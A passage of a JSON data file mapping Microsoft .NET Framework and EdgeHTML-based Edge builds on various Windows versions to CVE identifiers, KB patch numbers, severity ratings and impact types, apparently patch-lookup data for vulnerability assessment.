Framework 4.5.2 on Windows RT 8.1":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012":[{"cve":"CVE-2017-8759","kb":"4040975","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040975","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012 R2":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows 10 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.1 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.1 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows Server 2016":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows RT 8.1":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012":[{"cve":"CVE-2017-8759","kb":"4040971","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040971","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 R2":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows RT 8.1":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 R2":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.7 on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.7 on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532935","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578971","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532935","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578971","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532936","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578972","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532936","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578972","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows RT 8.1":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012 R2":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2016":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server, version 1803 (Server Core Installation)":[{"cve":"CVE-2020-0646","kb":"4532936","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578972","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056888","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093109","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056888","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093109","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11764","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8496","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8731","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056890","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093119","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11764","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8496","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8731","kb":"4038782","severity":"Critical","impact":"Remote Code 